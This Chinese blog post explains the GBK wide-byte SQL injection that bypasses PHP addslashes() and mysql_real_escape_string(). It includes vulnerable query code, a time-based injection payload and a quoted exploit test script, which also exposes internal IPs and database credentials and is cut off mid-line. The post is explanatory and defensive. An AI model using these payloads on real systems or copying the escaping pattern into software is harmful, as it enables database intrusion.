PHP字符编码绕过漏洞-addslashes、mysql_real_escape漏洞

PHP字符编码绕过漏洞–addslashes、mysql_real_escape漏洞

在上次活动开发过程中，有个程序写了下面这样的语句：

$sName = $_GET['name'];
$sName = addslashes($sName);
$sql = "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%$sName%';";
var_dump($sql); 
exit();

结果扫描工具一扫描，发现问题来了，被扫除了SQL注入漏洞，而且还引发了整个数据表被锁住（备注：见第二部分）

检查安全中心扫描日志发现：

当SQL输入为：

name=41%bf%27%20or%20sleep%2810.10%29%3d0%20limit%201%23

的时候引发了SQL注入。

//这里输出：

string(98) “SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE ‘%41?\’ or sleep(10.10)=0 limit 1#%’;”

根本原因是addslash对于字符%BF%27的漏洞。

该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时，0xbf27本身不是一个有效的GBK字符，但经过 addslashes() 转换后变为0xbf5c27，前面的0xbf5c是个有效的GBK字符，所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理，结果漏洞就触发了。

mysql_real_escape_string() 也存在相同的问题，只不过相比 addslashes() 它考虑到了用什么字符集来处理，因此可以用相应的字符集来处理字符。

在MySQL中有两种改变默认字符集的方法。

方法一：

改变mysql配置文件my.cnf

[client]

default-character-set=GBK

方法二：

在建立连接时使用

CODE:

SET CHARACTER SET ‘GBK’

例：mysql_query(“SET CHARACTER SET ‘gbk'”, $c);或者

mysql_query(“SET NAMES ‘GBK’”, $c);

问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞（备注：这句话是摘抄的，我也没看懂）

网络上查询到有人说：

当mysql_real_escape_string检测到的编码方式跟client设置的编码方式(big5/bgk)不一致时，mysql_real_escape_string跟addslashes是没有区别的

比如

[client]

default-character-set=latin1

mysql_query(“SET CHARACTER SET ‘gbk'”, $mysql_conn);

这种情况下mysql_real_escape_string 是基于 latin1工作的，是不安全的

[client]

default-character-set=gbk

mysql_query(“SET CHARACTER SET ‘gbk'”, $mysql_conn);

这种情况下，mysql_real_escape_string 基于 gbk 工作，是正常的

但是，这里我108、153上验证的都不成功：

用12机器的php文件在108机器mysql上，查询到

在153链接测试环境CDB结点：

执行来自：

http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码

<?php

//$c = mysql_connect(“localhost”, “user”, “pass”);

$c = mysql_connect(“10.1.164.108”, “oss”, “oss_da”);

mysql_select_db(“a_jasonyeTest”, $c);

//$c = mysql_connect(“10.179.12.249:3332”, “oss”, “oss_da”);

//mysql_select_db(“dbGuild20120903jasonye”, $c);

mysql_select_db(“database”, $c);

// change our character set

mysql_query(“SET CHARACTER SET ‘gbk'”, $c);

// create demo table

mysql_query(“CREATE TABLE users (

username VARCHAR(32) PRIMARY KEY,

password VARCHAR(32)

) CHARACTER SET ‘GBK'”, $c);

mysql_query(“INSERT INTO users VALUES(‘foo’,’bar’), (‘baz’,’test’)”, $c);

// now the exploit code

$_POST[‘username’] = chr(0xbf) . chr(0x27) . ‘ OR username = username #’;

$_POST[‘password’] = ‘anything’;

// Proper escaping, we should be safe, right?

$user = mysql_real_escape_string($_POST[‘username’], $c);

$passwd = mysql_real_escape_string($_POST[‘password’], $c);

$sql = “SELECT * FROM users WHERE username

相关文章：

你感兴趣的文章：

标签云：